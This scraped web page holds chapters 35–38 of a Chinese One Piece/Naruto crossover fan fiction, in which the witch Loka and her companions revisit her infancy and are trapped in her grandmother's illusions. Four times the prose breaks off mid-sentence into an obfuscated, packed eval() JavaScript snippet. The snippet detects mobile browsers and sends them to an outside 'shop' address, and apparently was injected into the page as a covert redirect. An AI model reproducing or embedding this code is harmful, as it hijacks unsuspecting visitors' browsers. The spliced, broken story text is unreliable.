l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076825|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>听来像个问句,但其实他并不期待周围人的回答,更像是在自言自语。 佐助听了这句话心头不知为何升起一些莫名的烦闷情绪,仰头喝了口热可可,被齁得眉头一皱:那店主还真拿他当小孩儿了,这是往里头放了多少白糖?! * 艾斯很快在雪地里找到了洛卡,彼时她正鬼鬼祟祟地跟在那位抱着婴儿在雪地里艰难前行的店主,不时躲到树干之后探出脑袋,仔细观察那位店主的行动。 此时出声恐怕要害洛卡被店主发现,艾斯按下心中的好奇,同样鬼鬼祟祟地跟在了洛卡的身后。 三人在雪地上缓慢前行,到了黄昏时分,气喘吁吁的店主终于看到了森林中的木屋。 那木屋建在一棵百年老树之下,光看外观与普通木屋也没什么分别,甚至还更简陋些。但漫天飞舞的鹅毛大雪分明已将周围全部笼罩,只余这木屋周围毫无落雪的痕迹,屋前的小径上铺满了鹅卵石,门前甚至摆满了种植着大片紫色花朵的盆栽,屋下的长廊在这冬日里也能散发出一阵鸢尾独有的甜香。 店主松了口气,抱着孩子在鹅卵石小路上疾奔几步,朝着木屋大门急急地吼了些什么,半晌,木屋的门缓缓开了。 店主抱紧了孩子,小心地走进了木屋之内。 艾斯记得很清楚,这就是他在幻境中见过的洛卡和婆婆一起生活的小屋。 他听不懂此地的语言,也不太明白为什么店主捡到孩子之后第一时间就把孩子带到了木屋来。就他先前在洛卡的幻境中了解到的信息而言,这个世界在人们的共同努力下大部分国家都进入了和平年代,警察和军人广受民众信赖。按常理来说普通人捡到一个婴孩第一时间该报警才对,但这店主捡到孩子竟毫无犹豫丢下店里的客人直奔森林而来,艾斯几乎觉得这店主是中邪了。 且他有种隐约的直觉,虽然店主用一条小棉被将那孩子裹住了,艾斯一直没看到那孩子长什么样,但他总觉得那孩子和洛卡有着千丝万缕的联系。 说不定,那孩子就是洛卡? 艾斯被自己的念头吓了一跳,冷静下来之后又觉得这样才合理:如此一来洛卡的一切反常行为才能捋顺,艾斯也终于想通了她不去木屋反而要去旅馆的原因。 她应该是想知道婆婆是在什么时候、什么境地下决定领养她的,她选这个时间点是来见一见那位眼下还不认识她的婆婆。 过了好一会儿,店主一个人从那木屋里走了出来。他身后的木门只开了一瞬便又自动关上了。 很显然,孩子已经被留在了木屋里。 店主出来后面色平常,在廊下看了看,竟摘了朵花盆里的鸢尾放进了胸前的兜里,这才又顶着风雪一步步离开了木屋。 躲在暗处的洛卡和艾斯见了这一幕俱是一愣:他的动作自然大方,很显然是木屋主人授意他这么做的,并不是他擅自偷盗。 风雪渐小,那店主在雪中前行也终于顺畅起来。他此时心情不错,因此并未注意到被他放在胸前的花朵已在风中委顿下去,在厚夹袄带绒的前兜之中化成了一块指甲盖大小的紫水晶。 那是他在女巫这里得到的报酬。 35.035 035 艾斯绕到洛卡身后,伸手拍了拍她的背:“人都走远了,还看什么?” 洛卡被他吓得短促地惊叫一声:“……你怎么在这儿?” 艾斯扶正了她的肩膀:“我跟你半天了,你竟一点没察觉?那个小娃娃就是小时候的你吧?你和你自己竟然能出现在同一个时空里?” 洛卡十分惊讶:“居然被你看穿了!艾斯你背着我偷偷长脑子了吗!” 艾斯转过头来定定看她半晌:“说实话我要是真被你糊弄过去才叫没脑子吧?你又想通过惹怒我来岔开话题吗?” 洛卡呆了一呆,悻悻地转过头去:“这是真长脑子了怎么变得这么不好骗了……以后假装跟佐助吵架还能管用吗?” “……假装跟谁吵架都不管用。话说你也别玩佐助玩过头了,他这种爱钻牛角尖的人可是会把玩笑话当真的。” “原来如此。”洛卡神色肃然地点了点头,“那我可要仔想想怎么给他设置一个合适的牛角尖。”说着她从怀里掏出一个水晶球来,“劳烦你把刚才那句评价他牛角尖的话再复述一次,好让我录下来跑到佐助跟前全天跟踪立体沉浸式循环播放八百遍。” “……给他添堵对你来说到底有什么好处?” 洛卡认真思考了一下:“他对我来说是一个轻易折腾不死的可持续发展的生命力极其旺盛的乐子。” “……” 此时风雪已经停了,木屋内的人听到了屋外的说话声,走到窗边打开了半扇木窗,探头去看屋外的动静。 窗外自然是什么也没有。一片雪白的景象实在有些刺目,屋内之人便又关上了窗户。 拉着艾斯躲到树后的洛卡这才松了口气。 屋内那人隐在窗后,洛卡只来得及看到一个残影:屋中的人抱着孩子,孩子身上还披着先前旅馆店主披在孩子身上的棉被,已在她怀里睡着了;她的上半张脸被雪白的额发挡住,一双眼睛被挡在阴影之下看不真切,只能看到她双唇紧抿,似乎是因窗外的异动感到困扰。 记忆中婆婆是一个非常温和的人,洛卡从未见过她这副不苟言笑的模样。 “走吧。”洛卡垂头丧气地拉了拉艾斯的手臂,“我们应该是吵到婆婆了。” 于是二人便骑上洛卡的扫帚往回赶。离开之前艾斯又转头看了那在冬日的雪地之中兀自春意盎然的小屋一眼:“你婆婆究竟使了什么法子,能让一个原本不认识她的普通人捡到一个不认识的婴孩就心甘情愿地往这里送?” 再一眨眼,艾斯惊奇地发现那小屋不见了——整座带庭院带栅栏的屋子就像没出现过一般,连屋旁那棵根须虬结枝繁叶茂的古树、长廊下那些散发着沁人甜香的鸢尾都一起消失了,身后的景象不知何时变作了一片无甚特别的雪景。 没等他同洛卡感慨这件事,便听洛卡闷闷地回答:“……应该是因为我婆婆故意放出去的谣言吧。” * 由于扫帚上坐了个艾斯导致超重,洛卡飞得磨磨蹭蹭满头大汗飞到夜幕完全降临才堪堪赶回旅馆。 店主比他们早到一步,正磕磕绊绊比比划划地和佐助几人解释他捡孩子的前因——由于语言不通,最终还是洛卡回到旅馆之后才终于捋清楚了他捡到那孩子的全过程。 这种小旅馆管理本就不严,何况现在是淡季,先前的住客早在两天前就退房了,眼下店内只有店主一人。今天因为洛卡一行人突然到来,店主来不及点检各个房间,上楼找被褥时被孩子的哭声吸引,赶到客房只看到一扇半开的柜门和一个被团团裹在在被子里头哭闹不止的孩子。 于是他立刻想起了此地流传已久的传说:若在家中或街上发现没有来历的、突然出现的孩子,应当赶紧将这神赐的孩子送给林中的女巫。送得及时会收到女巫的祝福,私自将那孩子据为己有则会受到诅咒。 所以店主才紧赶慢赶地将孩子送了出去。 洛卡听到这里忽然笑了:店主是在被褥里头发现了她,可见在此之前身为婴儿的她没有被发现是因为被塞进了被褥里头——但即使如此也侥幸没被闷死,竟还有力气哭得出来;最终被一位热心的旅馆店主误认为是什么神之子,巴巴地送到了森林里去,这才捡回一命。 跟在她身后目睹她转了好几圈又自顾自作出一番推理的佐助觉得她笑得实在有些瘆人,皱眉道:“先前的客人虽然在两天前就已经退房,但此处人烟稀少,倒也不算难找。你要和那个……”他斟酌了一下言辞,刻意避开了“抛弃”这种程度严重的词汇,“把你留在这里的人谈一谈吗?” “谈一谈?”洛卡奇道,“两个陌生人有什么交谈的必要吗?” 话是这么说,她还是转头问了问店主,“前两天住在这里的客人多吗?都有些什么人?” 按规定店主是不能说的,他得保护客人的隐私。但这位白发少女一开口他便像是被什么蛊惑了似的,不由自主地把他知道的一切都说了出来:“……最近是旅游淡季,最近也没有什么人。只有前两天来了一位女客,与您差不多的年纪,穿得非常单薄。说起来她还长着一头与您差不多的白色长发。名字很常见,我有些记不得了,得去翻一下记录……” “不必翻了。”洛卡摆了摆手,“她看上去如何?脸色好吗?在这里住了多久?” 这样的季节里,一个年轻女孩为何选择冒着风雪独自外出? 这种客人即使是在旺季也不常见,因此店主还有些印象:“脸色仿佛有些苍白……整个人看上去极其疲惫。她只带了个小箱子来,前一天晚上入住,第二天一早就走了。” 周围静了一静。艾斯知道洛卡一定是向店主打听了些什么,但看这情况她似乎根本不打算将她打听到的情报与在场其他人共享。 洛卡沉吟:与她差不多年纪,那大概二十不到,这种年纪的姑娘选择自己处理孩子,是因为凑不够堕胎的钱还是因宗教原因根本无法堕胎呢? 她将孩子放在被褥里却没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17080116|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 覆住孩子的口鼻,甚至没有关上柜门,是真的想要害死这孩子,还是心存一丝孩子能被店主发现的希望呢? 无论如何,既然她自己确实不想成为一名母亲,那就有不成为母亲的权利。 店主没明白气氛为什么忽然僵住了。今天来的客人虽然出手阔绰脾气看上去也不错,但总感觉来头不小——那领头的人个头赶上两三层的小楼了,简直不像人类;其余几个年轻人身高倒是正常了些,但大冬天的其中一位竟然直接不穿上衣,不穿上衣也没见他多冷,耐寒程度完全不像常人;挑来拣去最正常的还是那个背着把扫帚的白发小姑娘,但是一个精神未见明显失常的姑娘就这么把一根看上去造价高昂的扫帚背在身上,可见这姑娘也不是什么寻常人。 总不会是来找森林女巫的麻烦的吧? 店主带着满腹疑惑做晚饭去了。 刚才听店主说起此事时洛卡心中倒也不可能毫无波澜,但现在她确实已经平静下来:她没有改变过去的任何细节,她还是会被婆婆养大,到六岁时她会遇到一个奇怪的魔法阵,被带到一个异世的岛屿。 这样就好,所有的人都应该回到他们该去的位置上。 还是没人说话。洛卡也觉得光站着也没什么意思,丢下一句“我去找白胡子阁下玩了”便快步跑开了。 “……果然这种时候会下意识地去找长辈吗。”马尔科看着她的背影若有所思,“真的不用找一找那个把婴儿时期的洛卡丢在这里的旅客?” 这话是问艾斯的。 “不用找。”艾斯摆摆手,“她回来也不是为了见那个抛弃她的人。” 佐助朝白胡子所在的方向看了一眼,只见洛卡竟从柜台里摸出一副早已积了灰的跳跳棋来,正热情地招呼白胡子同她一道玩几局小孩子的游戏。 艾斯也走到了他身边,看到佐助看着洛卡的方向神色肃然抿唇不语,伸手拍了拍他的肩膀:“我之前就同你说过,洛卡不是那种会纠缠过去的人。她早已走出来了,所以即使是想回来看看故人,也不会想着要对过去作出任何改变。” ——不是这样的。 佐助眉头紧皱:她不在意亲生父母,是因为亲生父母早已将她抛弃;她看起来对一切都泰然处之,是因为她早就利用哥哥完成了她的复仇计划。甚至她现在没有用魔力去救她的族人,也是因为拯救族人的代价过于沉重,她想不到避开代价的完美方案而已。 真的是释然了吗?不过是没了办法、只能搁置罢了。 等一等。 如果说拯救早已死去的族人会招来天罚,而洛卡一早就言明光凭他们两人不可能支付得了拯救全部族人的代价,那天谴最终会落到谁的身上?或者说,会由谁来替他和洛卡分担? 佐助下意识地转头看了艾斯一眼。 “嗯?怎么了佐助?” “……没什么。”佐助真切地感到自己被吓出了一身冷汗,“我只是突然觉得,有些话她说得其实很对。” 36.036 036 在森林连续视奸了整整两天婆婆的带娃生活之后,洛卡终于在这天傍晚看着漫天的阴云长叹一声:“差不多也看够了,咱们回去吧?” 一旁的佐助回答了她:“其实我们三个在此地还有些事情要办,能请你在此地多留几天吗?” 洛卡讶然:“你对我竟还有这么礼貌的时候,真是叫人害怕。”说着她探头朝大厅里店主给白胡子分割出来的临时卧房瞅了一眼,白胡子还坐在三床被褥铺出来的矮床边看电视,马尔科陪在一旁;现在是他们到这里的第四天,白胡子已经学会了电视遥控板的用法,眼下电视正放着一部纪录片。 洛卡瞟了一眼,那纪录片似乎是讲人与自然的,航拍镜头扫过去大片层层叠叠的岩石。 艾斯瞧着新奇,也凑过去一起看了。 佐助见她注意力被分走,不得不再问一遍:“所以多留几天可以吗?” 洛卡先是下意识地同意了,说了句“可以啊”之后过了一会儿才反应过来:“等等,你们留下来是有什么要紧事要办吗?” “算是有吧。”佐助平静地回答,“比如再看几天电视。” “……哈?” 佐助瞥了她一眼:“船长考虑过了,我们一行人过于引人注目,除了这位不知道为什么对我们接受度特别高的店主之外,其他人恐怕看到船长就要报警吧?为了不给你添麻烦,船长就决定只看电视不出门了。” “……”洛卡感到有些惭愧,脸颊腾腾地热了起来,“真要出门也不是毫无办法……等一下你们语言都不通,怎么看电视啊?” 佐助显然对她的前半句话更感兴趣:“那如果要出门的话,你有什么办法?” 洛卡简单解释了一下:“言灵术可以同时对不止一个人大规模使用。不必让他们为我做什么,只需要让他们接受我要出门要逛街这个事实就可以。” 佐助突然想起还在马林梵多时开战前她用看似鲁莽的话语夺走所有人注意力时的情形,认同地点了点头:“这么说来店主也只是接受了这世上就是有长得这么高的人需要住店这一事实而已?” “没错。比起命令他们去做某件具体的事,命令他们什么也别做要简单得多。” “这种命令也能同时对大街上所有人起效?” 说到这个洛卡有些犹豫:“嗯,如果只是一小会儿的话没问题。” 就像在马林梵多的时候,她那些大逆不道的话也只是夺走了在场所有人仅几分钟的注意力罢了。 “一小会儿?”佐助皱了皱眉,“那这一小会儿过去之后那些人岂不是会意识到有哪里不对吗?” “倒也不会。一个人在一天中其实要处理很多事情,但不是每一件都记得。” 洛卡笑了笑,“很多机械的、日常的、重复过无数遍的事,其实并不容易在人们脑中留下多深刻的印象,即使是常涉险境的海贼在没遇到什么特别的人和事的时候也是如此吧?我既然给他们下了白胡子阁下不过是个普通路人的暗示,那事情就很简单了:谁会在意几乎每天都要去的集市上路过的一个连长相都记不起的路人?” * ——“你们真的要去地震局吗?” 半小时后一行人已经离开旅馆走在大街上,洛卡还是觉得有些莫名其妙,“怎么突然想起来要去地震局啊?” 一听就是个秩序井然戒备森严的地方,比起街上的路人,控制机关单位里头的守卫和职员要难多了——但刚才话都放出去了,她实在不好再反悔。 马尔科温和地解释:“我们没有恶意,只是想看看地震局的资料和情报。” 洛卡惊道:“怎么看?白胡子阁下已经认得这边的文字了吗?” “只认得一些吧。”白胡子接了茬,“但这个世界既然拥有将影像资料清晰地投映到小屏幕上的技术,那地震局里一定也布满了那种奇妙的小屏幕吧!” 小屏幕?是说显示屏吧? “原来如此,是要这个世界的情报啊。”洛卡若有所思,“这个倒也不用那么麻烦,我同佐助二人潜入地震局复制点文件或者录像带出来就是了。” 艾斯惊奇地看了过来:“你跟佐助真能好好合作不出岔子?” “……”洛卡吃瘪,沉默了好一会儿才愤愤道,“不就是潜入地震局偷个东西嘛,我一个人也能偷!” “那倒是不必了。”白胡子伸出两根手指摩挲了一下洛卡的脑袋,“偷东西不会惊动此处的警方吗?我更想从小屏幕里亲眼看看所谓地壳板块运动是怎么个事。” 地壳和板块这几个词还是他看了纪录片之后在店里翻出来一本旧字典现查的。 但是这么一群人莫名其妙潜入地震局也还是会惊动此地的警方的啊! 虽然心里这么想,但洛卡对白胡子的好学精神肃然起敬:“机会难得,我们这一趟回来之后可以再参观一下工厂和医院之类的,或许对你们也有帮助。” 马尔科起了些兴趣,上前一步问洛卡道:“去这么多地方不会太耽误你的时间吗?” 洛卡摆摆手:“不会不会。” 不如说之前两天她就这么把这几人扔在旅馆里实在有些对不住他们。她来此地只是为了看看婆婆,但看多了容易产生多余的念头,还是就此放弃吧。 几人从白天走到晚上,由于白胡子体型过大根本走不了公共交通,中间雇了两辆运货卡车、在当地路人的指点下穿过一片郊区才勉强在天擦黑时赶到了地震局门口。 他们在门口等了一等,洛卡跑到门口朝门卫说了些什么,那门卫便将他们放了进去。 一行人进到门内,天花板有些低,白胡子不得不弯着腰前行:“丫头,你帮我看看这里的路标,哪一间是观察室……” 话音未落,周围倏然一静,身边的人都不见了。周身一空,走廊的灯光和惨白的墙面一时有些刺目。 直到这时候白胡子才意识到,从进门开始到现在,除了门口那个门卫之外,他们没有遇到过任何地震局的人。 眼前忽然晃了一晃,他看到长廊的尽头出现了一扇眼熟的门——正是他们眼下入住的那座旅馆的大门。 * 身边的人忽然消失的那一刻洛卡很快意识到自己是中了幻术——准确地说,他们应该是在进入地震局之前就中了幻术,也就是说他们进入的可能根本就不是地震局。 想到这里洛卡心中忽然一阵激荡:此地会幻术类术法的人不多,佐助不可能突然发疯拿他们练手,那有能力同时困住这么多人、还能精准地为每个人设置不同的幻境的,大概就只有她的婆婆了。 眼前场景一变,长廊内的灯一盏接一盏地灭了,徒留离她最远的一盏还在散发着冷白色的光,照亮了长廊尽头一扇眼熟的铁门。 她并未急着冲破幻幻境——说是幻境,其实洛卡知道她眼下她看到的场景与一般造景幻术不同,婆婆大约是化作门卫时就用言灵术改变了他们的认知,让他们误以为自己看到了这些东西。其实周围场景恐怕并无变化。 婆婆会认出她来吗? 她一步一步走向前去,那扇铁门无风自开,门内的情景一览无余。 是她第一天被带入海军基地的场景。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083996|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她随鹤向基地内走去,却在半途看到那位给她父亲行刑的海军军官,一时激怒动用言灵术令其开枪自尽,于是第一天就被下了狱。 那道铁门便是囚室的铁门。 十岁的洛卡被困半日,冷静之后十分后悔:她当着那么多人的面杀了一个军官,此后参与过屠魔令的人一定会对她有所提防,再要趁他们不备对他们用言灵术就没那么容易了。 因此,鹤问她知不知错的时候,她由衷地、真诚地回答:“我知错了。” 鹤叹了口气:“我知道你说的知错不是我要听的那层意思。这次你杀的那个人无甚军功,平日仗着自己是关系户媚上欺下行事嚣张,是因参与了那次屠魔令才能升职,上面说这样的人杀了也就杀了,不必罚你。” 洛卡自己也有些意外:“这样的人,杀了就杀了?” 那军官嚣张也不是一天两天了,怎么以前不收拾,还要等到她来动手? “但我还是要关你几天,让你反省自己的错误。”鹤苦口婆心道,“我知道你恨他们,但你的家族叛出玛丽乔亚,隐瞒踪迹苟活多年,本就有罪……” 之后鹤又说了些什么,洛卡一概没听进去。她只知道,若是海军本身有罪,那她杀了这个海军便可算是无罪;且她入职第一天就杀了一个颇有背景的军官,上面却不知为何对她这事轻轻揭过了。 莫非是她身上有什么特殊之处? 那时候的她不愿深想,只是隐约知道自己找到了复仇之法,因此欣喜万分。 ——“你从小就是个聪明的孩子,只是执念太深。” 一道耳熟的、老迈的女声在她耳边响起,“你原本也可以平稳一生,有人保护吃穿不愁,替加西亚一族复仇已算惊险,何必还要去帮别人报仇呢?” “婆婆。”洛卡的声音一颤,似有哭腔,“我就知道你能认出我。” 女巫那熟悉的声音再度响起:“为何在森林中久留不去?” “我错了,我不该打扰您这么久。这两天我们就会离开。” “你还没回答我的问题。无论是你还是他,你们可知一切自有定数,何必逆天改命,徒增杀戮?” “他?是指佐助吗?”洛卡无意识地抚向自己的胸口,“如果被灭族是我们的命数,那被复仇就是他们的命数,这才叫一切自有定数。” “我就知道那家族培养不出什么乖孩子。”年迈的女巫似乎叹了口气,“你为此甚至献祭了心脏吗?” “我眼看着岛民和族人接连丧命,我不能将其遗忘,装作什么都没发生过。” “所以,你也一定会带那个少年回到他的家乡、助他复仇了。”女巫笑了笑,“看来,你已经完全融入你的新家了。” 新家?是指白团吗? 一阵微风拂过洛卡的额发,像是老人温柔的轻抚:“既然那里已经是你的家,就不必再撒谎了。” 洛卡一惊:“婆婆,我没有……” “其实与你同行的那位年轻人已经对你说过不止一次,他们已经接纳了你,你不必再下意识地掩饰自己。” 说到这里女巫转而说起另一件事,“我知道你们想要此地的科技和情报,但你太小看这个世界的人类了。他们当中绝大部分人没有异能更不能永生,全凭贪婪和智慧将全球推入科技时代,这可不是光凭积极向上勤奋努力就能达成的。去将你的家人朋友都找回来,三日之内速速离去。” 洛卡一愣:“为什么是三天?” “因为我也需要一点时间。”女巫的声音十分慈爱,“你难得来一趟,我要好好想想该送你什么礼物。” 37.037 037 艾斯被上空的白光晃了晃眼,还是很快认出眼前这片森林就是洛卡幼时所在的那片森林。 他明明是跟着老爹和洛卡走进了当地叫一个地震局的地方,然而转瞬之间身边的同伴就都不见了,眼前出现一道眼熟的门——过了好一会儿他才想起来,那是推进城里洛卡为他准备的那间单人囚室的门。 推开门便又看到了这片森林。 这场景他十分熟悉,因为先前他已在洛卡为他准备的幻境中见过好几次。由此可见施术之人能力其实高出洛卡许多——洛卡要让他看见幻境还得事先调制一大锅魔药哄他跳进玻璃罐里,但这次他甚至想不起来自己是什么时候中了招。 幻境中的森林正值盛夏,阳光被郁郁葱葱的枝叶分割成金灿灿的光斑,细碎的光斑全被投向了林间汨汨流淌的小溪。 艾斯伸手掬了点溪水在掌心,毫不意外地发现这水也是极其真实的——就像在洛卡的魔药里看到的幻境一样,里面所有的东西都可见、可闻、可触摸。 “这么说来,您就是洛卡的婆婆吧?”艾斯顺势洗了把脸,试图让自己清醒一些,最好别再中什么术中术了,“初次见面,我叫波特卡斯·D·艾斯,是洛卡的朋友。” “我知道。” 一道老迈的女声在林中响起,惊起几只艾斯叫不出名字的飞鸟,“我知道你们会来,所以一直在此等待。” 艾斯环顾了一圈:“您一直在夏天等待洛卡吗?毕竟洛卡被加西亚的禁术带走的时候也是个夏天呢。” “真是有趣的说法,看来她告诉了你很多事情。” 话音刚落,艾斯只觉眼前一花,侧前方的树下多了一道陌生的人影。 她佝偻着身子,身穿一件宽大的黑色长袍,风帽遮住了她的大半张脸。 艾斯没有走近,站在原地朝她鞠了一躬:“谢谢您,婆婆。把一个婴儿拉扯到六岁一定是一件很辛苦的事。” 老人笑了一阵:“我还以为你会问我为什么能预知未来这种关键的事情呢,结果竟然是从洛卡的事开始聊吗?” 艾斯想了想,礼貌性地问了一句:“那您为什么能预知未来呢?如果洛卡主修的是言灵术,那您主修的应该也是言灵术而非预知术才对吧?” “确实如此。但我们是被选中前往各个异世的巫师,所以在离开之前会被刺穿心脏强行注入预知系魔力,这样一来我们即使到了异世,也能大致预测被召回的时间。” “……原来是这样。”艾斯恍然大悟,“所以您在森林附近布下异世之子该被立即送往森林的流言,是因为您预知到被召回的不会是您,而是您一手养大的洛卡吗?” “洛卡是一个极具天赋的孩子,不必献祭心脏就能基本掌握我教她的所有术式。”老人的声音像是从很远的地方传来,“可惜我的预知术太不稳定,我知道她会再次回到这里,却想不到她也献祭了自己的心脏。早知如此我就该把她留在这里,让她作为一个普通的孩子长大、读书、结婚生子才好。” 说到这里,女巫抬了抬头,用极佳的视力看到不远处的艾斯下意识地瞳孔一缩、垂在身侧的右手也下意识地握了握拳。 “瞧你这反应。”女巫的声音被林间的风送到艾斯的耳边,“即使明知遇到她会让她失去健康的心脏,你还是想在你的世界里见到她?” 艾斯一惊:“什么?我不……” 如果可以的话,他也想不计一切代价阻止她刺穿自己的心脏。 “不必后悔。”女巫的声音更近了,“洛卡的路是她自己选择的,没有任何人能阻止。今后,她凭自身意愿作出的决定会越来越多,我也会因此越来越无法掌握她的未来。最糟的是,我会在此世死去,死后会直接化为侍奉神明的星辰,连被封进水晶球中、死后见她一面都做不到。” 艾斯愣了愣,忽然注意到了她这番话里的重点:“巫师死后……还能在被封印的水晶球里见到面吗?!” 女巫满意地笑了。此时她已经走到艾斯的近前,而艾斯甚至没注意到她是什么时候接近他的:“当然。魔力是留给后人的财产,而巫师的灵魂只有在被后人唤出之后、完成对后人的引导才得重获自由,此前都只能被困在水晶球内,等待刑满释放——但谁也不知道这刑期会有多长。” “那水晶球里已经没有人了。”艾斯咬了咬牙,“她要一个人在里面等个几十年才……” “也有可能是几百年。” 艾斯忽然明白了。他抬头看向身形矮小的女巫,神情已经平静下来:“您是为了告诉我这些,才特意单独找到我的吗?” 他终于知道洛卡的做事风格像谁了:用一大堆精心准备的辞藻来掩饰自己真实的目的、说话时将言灵术融入自己的话语里趁对方不注意时毫不留情地施展出去,和眼前的女巫一模一样。 眼前的女巫还比洛卡精进多了。 “最后再告诉你一个秘密吧。”女巫的身形忽然在他眼前消失,化成一群黑蝶四散开去,“巫师一般不将自己的全名告知他人——洛卡的全名是薇洛妮卡·加西亚,‘洛’和‘卡’只是我从她的名字中抽取的两个音节。” * 艾斯眼前的幻境散去之时,耳边还回荡着那位女巫留给他的最后一句话:“现在你也知道了她的全名——不用惊讶更不必害怕,这是我送你的礼物。” 怪不得洛卡对名字那样在意,甚至问过他改母姓的事;怪不得幻境里幼小的她那么希望他是婆婆留给她的使魔,却能那么快就认出他不是什么使魔——因为他从未用正确的名字呼唤过她。 ——“艾斯!” 湛蓝的天幕被划开一道口子,洛卡骑着扫帚从那口子里飞了进来,“你没事吧!” 周围的幻境一寸一寸地碎裂消失,艾斯这才看清自己原来身处一个废弃的厂房,周围全是被废弃的、散发着一股陈旧的铁腥味的旧设备,上方是结满蜘蛛网的天花板,既没有蓝天也没有森林。 这里果然不是什么地震局。 洛卡飞到艾斯身边绕了一圈:“看上去没受什么伤的样子,我婆婆没有为难你啊?” 艾斯伸手捏了捏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087718|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胸前的吊坠:大概是因为吊坠的定位作用,洛卡才第一个找到了他。眼下其他人还被困在各自的幻境里,他们周围没有任何人。 同洛卡说出实话的念头在艾斯脑内转过好几回,最终话到嘴边就变成了另一件事:“……老爹他们或许就在附近,我们出去找找吧?” 其实婆婆彻底消失之前用黑蝶为他指明了其他三人目前所在的方向,但也对他施加了言灵术,令他无法将先前的谈话内容对洛卡透露出哪怕一个字。 洛卡不疑有他,带着艾斯吃力地离开这一处车间飞进了早已废弃的电梯井:“其实按我对我婆婆的了解,她肯定不会伤害你们,但我也实在不知道她把我们分别困在不同的幻境里是为什么……” 大约是因为同他们有话要说? 艾斯想要开口,却始终无法发出声音——只要想起她婆婆对他说过的话,他的喉间便似遭蚁虫啃咬一般痛痒难忍,几息之间他已经冷汗涔涔。 这个时候,大多数人都会遵从本能选择闭嘴吧? 艾斯知道这种时候他大概说不了多少话,只好先伸手搭上洛卡的肩膀试图吸引她的注意力,同时开口以极喑哑的声线艰难地从喉咙口蹦出一个音节:“薇……” “找到了!” 这个时候洛卡忽然大叫一声,带着艾斯俯冲至电梯井的最下面那层,“第二、第三和第六层都有魔力逸散的情况,但以我对我婆婆的了解,那一定是她留下的障眼法,幻境的所在之处一定是看上去平平无奇没有任何魔力痕迹的地方!” 艾斯把话吞了回去,喉间的痛楚稍有缓解;且他惊奇地发现,洛卡似乎是和婆婆玩上了你追我赶你躲我捉的游戏,明明前两天偷看婆婆时那么不舍又难过,眼下却双眸晶亮神采奕奕,显然是玩高兴了。 玩高兴了的洛卡冲进第一层的长廊来回找了两遍,在中间的某个房间发现了一点端倪。 她推门进去,发现了正沉浸在电视中的白胡子——他正在看地壳运动的详细解析,洛卡推门进去时这部纪录片刚好结束,片尾演职员表被白胡子拿起遥控器加速跳过了,那电视又自动连播了下一部记录片。 看到两人进来,白胡子转头看了他们一眼,扬了扬手里的葡萄酒桶:“哟,来啦。” 他自然能看出这里是一处幻境,但幻境的主人没有任何伤害他的意思,他便泰然自若地接受了此处的招待。 新纪录片已经开始播放,白胡子便又把目光转回去了。 似乎是因为洛卡的闯入搅乱了这条长廊上的魔力流动,对面的房间门很快也被推开,马尔科小心地探头出来:“……艾斯?你这么快就出来了?” 艾斯的声音有些晦涩:“是幻境的主人主动放我出来的。” 此时长廊尽头的房门也被打开,佐助急匆匆地冲了出来:“……哥哥,你们没事?” 洛卡松了口气:“看来大家都没事,那我们带上白胡子阁下的电视赶紧回……” 此时艾斯终于调整好了呼吸和表情,一把抓住了洛卡的手臂:“洛卡,我有话和你说。” 38.038 038 第二天一大早,佐助和马尔科在门口等了几分钟,只等来了哈欠连天的洛卡:“白胡子阁下说纪录片还没看完就不去了,今天就我们仨。” 马尔科有些意外地看了看洛卡身后:“艾斯不一起来吗?” “他在睡觉。”洛卡绝口不提是自己凌晨潜入艾斯的客房施法弄晕了他这一事实,朝门外跨出一步,“走吧,医院在街道的东南方向。” 佐助下意识地追上去问了一句:“你又对我哥哥做了什么?” 在明知今天有行动的情况下哥哥居然睡过头了? 洛卡又打了个哈欠:“他好得很。年轻小伙子倒头就睡,咱们都该羡慕他才是。” 她说艾斯好得很,但她自己看上去倒是困得快要昏过去了。马尔科和佐助对视一眼,都从彼此眼中看到了怀疑。但他们倒也不会觉得洛卡能对艾斯做出什么穷凶极恶的坏事来,还是抬步跟她走了。 走出没几步,身后忽然传来一阵沉重的脚步声:“你们几个,是打算瞒着我出门替我瞧病吗?” 洛卡转过身,看到白胡子出门来找他们还不忘抓着那台专放纪录片的电视机不免有些惊奇,又见马尔科和佐助都被问沉默了,她只好率先开口缓解尴尬:“不是,是我想趁此良机带佐助去现代化医院看看脑子——不如您也一块来吧,咱们正好看看佐助脑壳里装的到底是人类大脑还是他哥。” 